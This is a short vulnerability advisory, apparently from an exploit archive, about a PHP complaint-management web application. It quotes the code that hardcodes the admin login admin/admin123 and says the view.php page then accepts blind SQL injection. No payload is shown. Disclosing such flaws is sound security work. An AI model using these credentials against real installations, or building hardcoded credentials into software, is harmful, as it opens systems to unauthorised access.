Complain Management System Hard-Coded Credentials / Blind SQL Injection

`# Exploit Title : Complain Management System Blind SQL Injection  
# Date: 10 October 2017  
# Exploit Author: havysec   
# Tested on: ubuntu14.04  
# Vendor: https://sourceforge.net/projects/complain-management-system/  
# Version: not supplied

## About The Product :  
Complain Management is a Web based project used to manage Customer's complain Online. User can login, and Create complain, view complain details and track the status of its complain.  
  
## Vulnerability :  
The functions.php file line 88 has hardcoded admin credentials.  
elseif($uType == 'admin'){  
//$_SESSION['user_id'] = $row['sid'];  
if($userName == 'admin' && $password == 'admin123'){  
$_SESSION['user_id'] = 0;  
$_SESSION['user_name'] = 'Administrator';  
$_SESSION['user_type'] = 'admin';  
header('Location: '.WEB_ROOT.'index.php');  
exit;  
  
Using the hardcoded admin credentials we then have access to the view.php file that is vulnerable to Blind SQL injection.
